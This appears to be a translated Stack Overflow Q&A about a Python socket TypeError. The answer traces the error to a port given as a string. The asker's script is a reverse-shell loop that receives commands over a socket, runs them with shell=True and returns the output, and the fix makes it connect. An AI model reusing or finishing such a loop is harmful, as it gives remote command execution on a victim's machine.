我试图在我的一段python代码中使用socket对象,但在下面这一行失败了:
#!/usr/bin/python
import subprocess,socket
HOST = '127.0.0.1'
PORT = '443'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('Yo')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput1 = proc.stdout.read() + proc.stderr.read()
s.send(stdoutput)
s.send('Bye')
s.close()
它在以下位置失败:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
它告诉我在参数中需要一个整数,而我看不出为什么会这样。它从socket.py调用此方法:
def meth(name,self,*args):
return getattr(self._sock,name)(*args)
发布于 2018-02-06 21:17:47
您误解了错误消息,并且看错了行。失败的是s.connect()
调用:
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(('127.0.0.1', '443'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/Users/mjpieters/Development/Library/buildout.python/parts/opt/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
TypeError: an integer is required
注意,这里失败的是而不是 socket.socket()
调用,而是s.connect()
调用,因为'443'
不是有效的端口号。
端口号必须是整数,而不是字符串;请更正PORT
变量:
PORT = 443 # make this an integer
有了这个更改,连接就可以工作了(只要端口是可连接的):
>>> s.connect(('127.0.0.1', 443))
https://stackoverflow.com/questions/48652000
复制